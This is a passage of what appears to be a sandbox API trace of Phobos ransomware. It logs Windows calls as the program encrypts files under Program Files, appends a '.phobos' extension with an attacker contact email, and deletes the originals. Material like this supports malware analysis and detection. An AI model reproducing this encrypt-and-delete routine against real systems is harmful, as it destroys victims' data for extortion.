pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.199] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9975) returned 1 [0049.199] CloseHandle (hObject=0x31c) returned 1 [0049.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0049.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.200] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.200] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14156) returned 1 [0049.200] CloseHandle (hObject=0x31c) returned 1 [0049.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0049.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.201] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.201] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.298] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb90) returned 1 [0049.298] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.299] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x374c, lpOverlapped=0x0) returned 1 [0049.318] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3750, dwBufLen=0x3750 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3750) returned 1 [0049.318] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3750, lpOverlapped=0x0) returned 1 [0049.319] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc790) returned 1 [0049.319] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.319] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0049.319] CryptDestroyKey (hKey=0x10dc790) returned 1 [0049.319] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0049.320] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0049.320] CloseHandle (hObject=0x31c) returned 1 [0049.320] CloseHandle (hObject=0x310) returned 1 [0049.321] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0049.321] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.322] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=15276) returned 1 [0049.322] CloseHandle (hObject=0x310) returned 1 [0049.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0049.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.322] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.323] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.323] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0049.323] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.323] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3bac, lpOverlapped=0x0) returned 1 [0049.370] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3bb0, dwBufLen=0x3bb0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3bb0) returned 1 [0049.370] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3bb0, lpOverlapped=0x0) returned 1 [0049.372] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0049.372] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.372] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0049.372] CryptDestroyKey (hKey=0x10dc810) returned 1 [0049.372] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0049.372] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0049.372] CloseHandle (hObject=0x310) returned 1 [0049.372] CloseHandle (hObject=0x31c) returned 1 [0049.373] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0049.374] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.374] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7805) returned 1 [0049.374] CloseHandle (hObject=0x31c) returned 1 [0049.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0049.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.374] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.375] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.375] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0049.375] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.375] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1e7d, lpOverlapped=0x0) returned 1 [0049.394] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1e80) returned 1 [0049.394] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1e80, lpOverlapped=0x0) returned 1 [0049.394] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0049.394] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.394] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0049.394] CryptDestroyKey (hKey=0x10dc610) returned 1 [0049.394] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0049.395] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0049.395] CloseHandle (hObject=0x31c) returned 1 [0049.395] CloseHandle (hObject=0x310) returned 1 [0049.395] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0049.396] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.400] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=153) returned 1 [0049.400] CloseHandle (hObject=0x310) returned 1 [0049.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0049.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.400] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.400] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.401] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0049.401] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.401] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x99, lpOverlapped=0x0) returned 1 [0049.407] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa0, dwBufLen=0xa0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa0) returned 1 [0049.407] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xa0, lpOverlapped=0x0) returned 1 [0049.408] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dccd0) returned 1 [0049.408] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.409] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0049.409] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0049.409] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0049.409] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0049.409] CloseHandle (hObject=0x310) returned 1 [0049.409] CloseHandle (hObject=0x31c) returned 1 [0049.409] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0049.410] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.445] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=165) returned 1 [0049.445] CloseHandle (hObject=0x2fc) returned 1 [0049.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0049.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.461] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.461] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0049.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.734] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0049.734] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.734] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xa5, lpOverlapped=0x0) returned 1 [0049.735] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xb0, dwBufLen=0xb0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xb0) returned 1 [0049.735] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xb0, lpOverlapped=0x0) returned 1 [0049.736] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc550) returned 1 [0049.736] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0049.736] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0049.736] CryptDestroyKey (hKey=0x10dc550) returned 1 [0049.736] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0049.736] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0049.736] CloseHandle (hObject=0x328) returned 1 [0049.736] CloseHandle (hObject=0x31c) returned 1 [0049.737] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0049.738] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0049.740] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=168) returned 1 [0049.740] CloseHandle (hObject=0x31c) returned 1 [0049.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0049.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program 